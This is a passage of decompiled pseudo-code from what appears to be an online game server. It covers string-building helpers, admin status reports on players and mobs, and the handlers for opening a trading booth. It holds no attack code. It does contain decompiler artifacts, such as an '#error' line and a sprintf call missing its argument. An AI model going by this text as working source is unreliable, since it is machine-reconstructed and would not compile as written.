unsigned int v5; // [sp+28h] [bp-10h]@1 int v6; // [sp+34h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(int num)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; sprintf(buffer, "%d"); StringMaker::Maker::operator<<(v2, buffer); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); __security_check_cookie(v5); return result; } //----- (0051C3E0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id) { StringMaker::Maker *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 StringMaker::Maker *v5; // eax@1 StringMaker::Maker *v6; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(Name3 *id)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&id->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&id->n3_name[8]; v4[12] = 0; v5 = StringMaker::Maker::operator<<(v2, v4); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); return v6; } //----- (0051C4B0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *v3; // eax@1 StringMaker::Maker *v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = StringMaker::Maker::operator<<(v2, iic->iic_Item.iti_itemstruct.itemid); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); return v4; } //----- (0051C560) -------------------------------------------------------- #error "51C560: undefined or illegal type '#440' (funcsize=34)" //----- (0051C600) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); } //----- (0051C650) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 const char *v6; // ST10_4@1 StringMaker::Maker *v7; // eax@1 StringMaker::Maker *v8; // eax@1 int v9; // ST10_4@1 StringMaker::Maker *v10; // eax@1 StringMaker::Maker *v11; // eax@1 int v12; // ST10_4@1 StringMaker::Maker *v13; // eax@1 StringMaker::Maker *v14; // eax@1 Name3 *v15; // eax@1 int v16; // ecx@3 int v17; // ST10_4@3 int v18; // ST08_4@3 StringMaker::Maker *v19; // eax@3 StringMaker::Maker *v20; // eax@3 StringMaker::Maker *v21; // eax@3 StringMaker::Maker *v22; // eax@3 StringMaker::Maker *v23; // eax@3 int v24; // ST10_4@4 int v25; // ST08_4@4 StringMaker::Maker *v26; // eax@4 StringMaker::Maker *v27; // eax@4 StringMaker::Maker *v28; // eax@4 StringMaker::Maker *v29; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); v6 = v5; *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; maker.m_Pointer = 0; v7 = StringMaker::Maker::operator<<(&maker, "Name : "); v8 = StringMaker::Maker::operator<<(v7, v6); StringMaker::Maker::operator<<(v8, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v9 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); v10 = StringMaker::Maker::operator<<(&maker, "Level : "); v11 = StringMaker::Maker::operator<<(v10, v9); StringMaker::Maker::operator<<(v11, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v12 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2); v13 = StringMaker::Maker::operator<<(&maker, "Mode : "); v14 = StringMaker::Maker::operator<<(v13, v12); StringMaker::Maker::operator<<(v14, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "Location : "); v15 = *(Name3 **)((char *)v2 + 98); if ( v15 ) { v16 = *(_DWORD *)((char *)v2 + 78); v17 = *(_DWORD *)(v16 + 4); v18 = *(_DWORD *)v16; v19 = StringMaker::Maker::operator<<(&maker, v15); v20 = StringMaker::Maker::operator<<(v19, 47); v21 = StringMaker::Maker::operator<<(v20, v18); v22 = StringMaker::Maker::operator<<(v21, 47); v23 = StringMaker::Maker::operator<<(v22, v17); StringMaker::Maker::operator<<(v23, (StringMaker::Finisher *)&a2); } else { StringMaker::Maker::operator<<(&maker, "Null"); } maker.m_Pointer = 0; v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v26 = StringMaker::Maker::operator<<(&maker, "HP : "); v27 = StringMaker::Maker::operator<<(v26, v25); v28 = StringMaker::Maker::operator<<(v27, 47); v29 = StringMaker::Maker::operator<<(v28, v24); StringMaker::Maker::operator<<(v29, (StringMaker::Finisher *)&a2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); } //----- (0051C880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 ItemInventoryCell *v5; // ST08_4@1 StringMaker::Maker *v6; // eax@1 StringMaker::Maker *v7; // eax@1 int v8; // eax@1 StringMaker::Maker *v9; // eax@2 int *v10; // eax@3 int v11; // ST08_4@7 StringMaker::Maker *v12; // eax@7 StringMaker::Maker *v13; // eax@7 int v14; // ST0C_4@9 StringMaker::Maker *v15; // eax@9 StringMaker::Maker *v16; // eax@12 StringMaker::Maker *v17; // eax@12 StringMaker::Maker *v18; // eax@12 const char *v19; // ST04_4@12 StringMaker::Maker *v20; // eax@12 StringMaker::Maker *v21; // eax@12 StringMaker::Maker *v22; // eax@12 const char *v23; // ST04_4@13 StringMaker::Maker *v24; // eax@13 StringMaker::Maker *v25; // eax@13 StringMaker::Maker *v26; // eax@13 int v27; // ST08_4@15 StringMaker::Maker *v28; // eax@15 StringMaker::Maker *v29; // eax@15 const char *v30; // [sp-Ch] [bp-28h]@10 char v31; // [sp-8h] [bp-24h]@10 StringMaker::Finisher *v32; // [sp-4h] [bp-20h]@2 StringMaker::Finisher *v33; // [sp-4h] [bp-20h]@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v2, a2); maker.m_Pointer = 0; v4 = *((_DWORD *)v2 + 13215); a2 = v3; v5 = (ItemInventoryCell *)(*(int (__stdcall **)(_DWORD))v4)(0); v6 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Inven) : "); v7 = StringMaker::Maker::operator<<(v6, v5); StringMaker::Maker::operator<<(v7, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "MiniHouse(SkinHandle) : "); v8 = *((_DWORD *)v2 + 22272); if ( v8 ) { v10 = *(int **)(v8 + 4); if ( v10 ) { v32 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, *(_WORD *)v10); } else { v32 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, "NULL Data"); } } else { v32 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, "NULL handle"); } StringMaker::Maker::operator<<(v9, v32); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 4 ) { maker.m_Pointer = 0; v11 = *(_WORD *)(*(_DWORD *)((char *)v2 + 32047) + 29); v12 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Camp) : "); v13 = StringMaker::Maker::operator<<(v12, v11); StringMaker::Maker::operator<<(v13, (StringMaker::Finisher *)&a2); } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 5 ) { maker.m_Pointer = 0; v14 = *(_WORD *)(*(_DWORD *)((char *)v2 + 32047) + 29); v15 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Booth) : "); StringMaker::Maker::operator<<(v15, v14); if ( *((_DWORD *)v2 + 22297) ) { v33 = (StringMaker::Finisher *)&a2; v31 = 93; v30 = (const char *)(***((int (****)(void))v2 + 22297))(); } else { v33 = (StringMaker::Finisher *)&a2; v31 = 93; v30 = "NULL"; } v16 = StringMaker::Maker::operator<<(&maker, 91); v17 = StringMaker::Maker::operator<<(v16, v30); v18 = StringMaker::Maker::operator<<(v17, v31); StringMaker::Maker::operator<<(v18, v33); maker.m_Pointer = 0; v19 = (const char *)(*(_DWORD *)((char *)v2 + 32047) + 42); v20 = StringMaker::Maker::operator<<(&maker, " ["); v21 = StringMaker::Maker::operator<<(v20, v19); v22 = StringMaker::Maker::operator<<(v21, 93); StringMaker::Maker::operator<<(v22, (StringMaker::Finisher *)&a2); if ( *((_DWORD *)v2 + 22297) ) { maker.m_Pointer = 0; v23 = (const char *)(*((_DWORD *)v2 + 22297) + 4); v24 = StringMaker::Maker::operator<<(&maker, " ["); v25 = StringMaker::Maker::operator<<(v24, v23); v26 = StringMaker::Maker::operator<<(v25, 93); StringMaker::Maker::operator<<(v26, (StringMaker::Finisher *)&a2); } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1136))(v2) == 6 ) { maker.m_Pointer = 0; v27 = *(_WORD *)(*(_DWORD *)((char *)v2 + 32047) + 76); v28 = StringMaker::Maker::operator<<(&maker, "Riding(Brief:Camp) : "); v29 = StringMaker::Maker::operator<<(v28, v27); StringMaker::Maker::operator<<(v29, (StringMaker::Finisher *)&a2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); } //----- (0051CB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v2, a2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); } //----- (0051CBF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edi@6 int v6; // eax@6 int v7; // edi@6 const char *v8; // eax@6 char *v9; // edi@6 const char *v10; // eax@6 int v11; // ST04_4@6 int v12; // eax@6 char *v13; // [sp-4h] [bp-2Ch]@5 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@6 int v15; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S20_5 & 1) ) { _S20_5 |= 1u; stru_1248FBC4.cmc_AllowMode = 32; atexit(_E21_6); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_1248FBC4.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { v5 = **((_DWORD **)v4 + 22297); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(_DWORD, int))(v5 + 12))(*((_DWORD *)v4 + 22297), v6); v7 = *(_DWORD *)((char *)v4 + 32047); *((_DWORD *)v4 + 22297) = &ShineObjectClass::ShinePlayer::BoothSell::board; v8 = ShineScript::ss_String(&shinescriptetc, "BoothInterior"); strncpy((char *)(v7 + 42), v8, 0x1Du); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26642; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); v10 = ShineScript::ss_String(&shinescriptetc, "BoothInterior"); strncpy(v9 + 4, v10, 0x1Du); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 34); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 1, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 26, 17); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; } else { v13 = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } //----- (0051CDB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle) { void *v4; // ebp@1 int v5; // eax@5 unsigned int v6; // esi@9 int v7; // eax@9 int v8; // ebx@9 int v9; // esi@9 int v10; // eax@11 int v11; // ST04_4@11 int v12; // eax@11 char v13; // al@13 int v14; // edi@15 int v15; // esi@15 int v16; // eax@16 int v17; // eax@16 ItemDataBox::ItemDataBoxIndex *v18; // eax@16 unsigned int v19; // ecx@18 int v20; // edi@19 int v21; // edx@20 int v22; // eax@20 unsigned int v23; // ecx@23 unsigned int v24; // edx@25 bool v25; // sf@25 unsigned __int8 v26; // of@25 bool v27; // zf@26 int v28; // edx@28 int v29; // eax@28 unsigned __int16 v30; // dx@28 unsigned int v31; // ecx@28 int v32; // ecx@29 int v33; // ecx@32 unsigned int v34; // ecx@35 int v35; // eax@38 int v36; // edx@41 int v37; // eax@43 int v38; // esi@45 int v39; // eax@45 int v40; // ecx@45 int v41; // edi@46 int v42; // ecx@47 int v43; // edx@48 int v44; // esi@48 ItemDataBox::ItemDataBoxIndex *v45; // eax@49 ItemInfo *v46; // eax@50 void *v47; // eax@52 int v48; // edx@52 int v49; // eax@52 int v50; // ecx@52 const void *v51; // esi@53 int v52; // esi@54 const void *v53; // eax@55 int v54; // ebx@55 const void *v55; // esi@55 int v56; // edx@56 int v57; // esi@56 int v58; // eax@56 int v59; // ecx@56 void *v60; // ebp@56 int v61; // edx@59 int v62; // esi@59 int v63; // eax@60 int v64; // eax@61 int v65; // ecx@61 int v66; // eax@62 int v67; // edx@62 char *v68; // eax@62 const void *v69; // edx@62 int v70; // edx@62 int v71; // eax@62 int v72; // eax@62 int v73; // edx@62 int v74; // [sp-8h] [bp-58h]@11 int v75; // [sp-4h] [bp-54h]@11 int v76; // [sp+0h] [bp-50h]@11 int v77; // [sp+4h] [bp-4Ch]@11 int v78; // [sp+8h] [bp-48h]@11 signed int v79; // [sp+Ch] [bp-44h]@4 FunctionEntarance _; // [sp+20h] [bp-30h]@1 int v81; // [sp+24h] [bp-2Ch]@15 int m; // [sp+28h] [bp-28h]@18 int k; // [sp+2Ch] [bp-24h]@14 const void *boothopen; // [sp+30h] [bp-20h]@9 void *iick; // [sp+34h] [bp-1Ch]@16 AxialListPacketBroadcast alchat; // [sp+38h] [bp-18h]@52 int v87; // [sp+4Ch] [bp-4h]@1 signed int netcmda; // [sp+54h] [bp+4h]@15 int netcmdb; // [sp+54h] [bp+4h]@27 signed int netcmdc; // [sp+54h] [bp+4h]@45 int netcmdd; // [sp+54h] [bp+4h]@53 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v87 = 0; if ( !(_S4_22 & 1) ) { _S4_22 |= 1u; stru_1248FBCC.cmc_AllowMode = 38; atexit(_E5_70); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_1248FBCC.cmc_AllowMode) ) { v79 = 2626; LABEL_64: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, v79); goto LABEL_65; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 162) ) { v79 = 2645; goto LABEL_64; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v6 = *(_BYTE *)(netcmd + 32); v7 = *(_DWORD *)v4; v8 = netcmd + 2; boothopen = (const void *)(netcmd + 2); v9 = v6 >> 1; if ( (signed int)((unsigned int)*(_BYTE *)(netcmd + 32) >> 1) >= (*(int (__thiscall **)(void *))(v7 + 1144))(v4) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Too many items", v9); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2627); v87 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v79 = 65535; v78 = 0; v74 = (int)ShineObjectClass::ShineObject::so_TentPoint; v10 = *(_DWORD *)((char *)v4 + 78); v75 = 0; v76 = 0; v11 = v10; v77 = 0; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 400, 0, v74, v75, v76, v77, v78, v79) ) { v13 = *(_BYTE *)(netcmd + 32); if ( v13 & 1 || (k = 0, !(v13 & 0xFE)) ) { LABEL_26: v27 = (*(_BYTE *)(v8 + 30) & 0xFE) == 0; k = 0; if ( v27 ) { LABEL_36: (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); if ( *(_BYTE *)(v8 + 30) & 1 ) *((_DWORD *)v4 + 22297) = (char *)v4 + 89192; else *((_DWORD *)v4 + 22297) = (char *)v4 + 89560; (*(void (**)(void))(**((_DWORD **)v4 + 22297) + 16))(); v38 = **((_DWORD **)v4 + 22297); v39 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v40 = *((_DWORD *)v4 + 22297); v79 = v39; (*(void (__thiscall **)(int, int))(v38 + 8))(v40, v39); netcmdc = 0; if ( *(_BYTE *)(v8 + 30) & 0xFE ) { v41 = v8 + 31; while ( 1 ) { v42 = *(_BYTE *)v41; v27 = *(_BYTE *)v41 >= 0x90u; iick = (void *)(*(_BYTE *)v41 < 0x90u); if ( v27 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Invalid slot", v42); v61 = *(_DWORD *)v4; v79 = 2627; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v61 + 776))(v4, 26, 2, 2627); v62 = **((_DWORD **)v4 + 22297); goto LABEL_61; } v43 = *((_DWORD *)v4 + 8892); v79 = *(_BYTE *)v41; v44 = (*(int (__thiscall **)(char *, signed int))v43)((char *)v4 + 35568, v79); if ( !v44 ) break; v79 = *(_WORD *)(v44 + 8); v45 = ItemDataBox::operator__(&itemdatabox, v79); if ( !v45 ) break; v46 = v45->data; if ( v46->Belonged ) break; if ( v46->NoTrade ) break; v47 = (void *)**((_DWORD **)v4 + 22297); v48 = *(_DWORD *)v4; v79 = (signed int)v4; v78 = v41; v77 = v44; iick = v47; v49 = (*(int (__thiscall **)(void *, int, int, void *))(v48 + 1916))(v4, v44, v41, v4); v50 = *((_DWORD *)v4 + 22297); v79 = v49; (*(void (__thiscall **)(int, int))(alchat.alpb_packetlength + 20))(v50, v49); v41 += 12; ++netcmdc; if ( netcmdc >= (signed int)((unsigned int)*(_BYTE *)(v8 + 30) >> 1) ) goto LABEL_53; } v63 = *(_DWORD *)v4; v79 = 2628; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v63 + 776))(v4, 26, 2, 2628); v62 = **((_DWORD **)v4 + 22297); LABEL_61: v64 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v65 = *((_DWORD *)v4 + 22297); v79 = v64; (*(void (__thiscall **)(int, int))(v62 + 12))(v65, v64); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { LABEL_53: memcpy((void *)(*((_DWORD *)v4 + 22297) + 4), (const void *)v8, 0x1Eu); *(_WORD *)(*((_DWORD *)v4 + 22297) + 36) = *((_WORD *)v4 + 2); v51 = (const void *)(*(_DWORD *)((char *)v4 + 32047) + 29); netcmdd = (int)((char *)v4 + 89040); if ( !*((_BYTE *)v4 + 89087) ) { memcpy((char *)v4 + 89040, v51, 0x2Cu); v52 = (int)((char *)v51 + 44); *((_WORD *)v4 + 44542) = *(_WORD *)v52; *((_BYTE *)v4 + 89086) = *(_BYTE *)(v52 + 2); *((_BYTE *)v4 + 89087) = 1; } v53 = boothopen; v54 = *(_DWORD *)((char *)v4 + 32047) + 29; v55 = boothopen; memcpy((void *)(*(_DWORD *)((char *)v4 + 32047) + 42), boothopen, 0x1Cu); *(_WORD *)(v54 + 41) = *((_WORD *)v55 + 14); LOBYTE(v53) = *((_BYTE *)v53 + 30) & 1; v79 = v54; *(_BYTE *)(v54 + 12) = (_BYTE)v53; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v79) ) { v66 = *((_DWORD *)v4 + 929); v79 = 2625; v78 = 2; *(_BYTE *)v66 = 5; v67 = *(_DWORD *)v4; v77 = 26; (*(void (__thiscall **)(void *, signed int, int, signed int))(v67 + 776))(v4, 26, v78, v79); v68 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26627; v69 = boothopen; *((_WORD *)v68 + 1) = *((_WORD *)v4 + 2); memcpy(v68 + 17, (const void *)(*((_DWORD *)v4 + 22297) + 4), 0x1Eu); v68[16] = *((_BYTE *)v69 + 30) & 1; v68 += 4; *(_DWORD *)v68 = *(_DWORD *)v54; *((_DWORD *)v68 + 1) = *(_DWORD *)(v54 + 4); v70 = *(_DWORD *)(v54 + 8); v79 = 47; v78 = (int)&gpp; *((_DWORD *)v68 + 2) = v70; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, (ProtocolPacket *)v78, v79); v71 = *(_DWORD *)((char *)v4 + 78); v79 = 65535; v78 = 0; v77 = (int)&alchat; v76 = 0; v75 = 0; v74 = v71; LOBYTE(v87) = 1; v72 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v72, v74, v75, v76, v77, v78, v79); v73 = *(_DWORD *)v4; v79 = 2; (*(void (__thiscall **)(void *, signed int))(v73 + 1632))(v4, 2); *((_DWORD *)v4 + 22296) = clockwatch.cw_CurrTick; LOBYTE(v87) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { v56 = *(_DWORD *)v4; v79 = 2646; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v56 + 776))(v4, 26, 2, 2646); v57 = **((_DWORD **)v4 + 22297); v58 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v59 = *((_DWORD *)v4 + 22297); v79 = v58; (*(void (__thiscall **)(int, int))(v57 + 12))(v59, v58); v60 = (void *)(*(_DWORD *)((char *)v4 + 32047) + 29); if ( *(_BYTE *)(netcmdd + 47) ) { memcpy(v60, (const void *)netcmdd, 0x2Fu); *(_BYTE *)(netcmdd + 47) = 0; } v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } } } else { netcmdb = v8 + 31; while ( 1 ) { v28 = *((_DWORD *)v4 + 8892); v79 = *(_BYTE *)netcmdb; v29 = (*(int (__thiscall **)(char *, signed int))v28)((char *)v4 + 35568, v79); v30 = *(_WORD *)(v29 + 8); v31 = *(_WORD *)(v29 + 8); if ( v31 >= unk_12510614 ) break; v32 = *(_DWORD *)(unk_12510DB0 + 24 * v31); if ( !v32 ) break; if ( *(_BYTE *)(v32 + 269) ) break; if ( (unsigned int)v30 >= unk_12510614 ) break; v33 = *(_DWORD *)(unk_12510DB0 + 24 * v30); if ( !v33 ) break; if ( *(_BYTE *)(v33 + 273) ) break; if ( ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v29 + 112), (ItemTotalInformation *)v29) ) { v79 = 2649; goto LABEL_41; } v34 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v26 = __OFSUB__(k + 1, v34); v25 = ((k++ + 1 - v34) & 0x80000000u) != 0; netcmdb += 12; if ( !(v25 ^ v26) ) goto LABEL_36; } v37 = *(_DWORD *)v4; v79 = 2649; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v37 + 776))(v4, 26, 2, 2649); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } goto LABEL_66; } v14 = netcmd + 33; v15 = (int)((char *)v4 + 35568); netcmda = 1; v81 = v8 + 31; while ( 1 ) { v16 = *(_DWORD *)v15; v79 = *(_BYTE *)v14; v17 = (*(int (__thiscall **)(char *, signed int))v16)((char *)v4 + 35568, v79); iick = (void *)v17; v79 = *(_WORD *)(v17 + 8); v18 = ItemDataBox::operator__(&itemdatabox, v79); if ( !v18 || !v18->data->Type ) { v79 = 2648; goto LABEL_41; } v19 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; m = netcmda; if ( netcmda < (signed int)v19 ) break; LABEL_25: v14 += 12; v24 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v26 = __OFSUB__(k + 1, v24); v25 = ((k++ + 1 - v24) & 0x80000000u) != 0; ++netcmda; v81 = v14; if ( !(v25 ^ v26) ) goto LABEL_26; } v20 = v14 + 14; while ( 1 ) { v21 = *(_DWORD *)v15; v79 = *(_BYTE *)(v20 - 2); v22 = (*(int (__thiscall **)(char *, signed int))v21)((char *)v4 + 35568, v79); if ( *((_WORD *)iick + 4) == *(_WORD 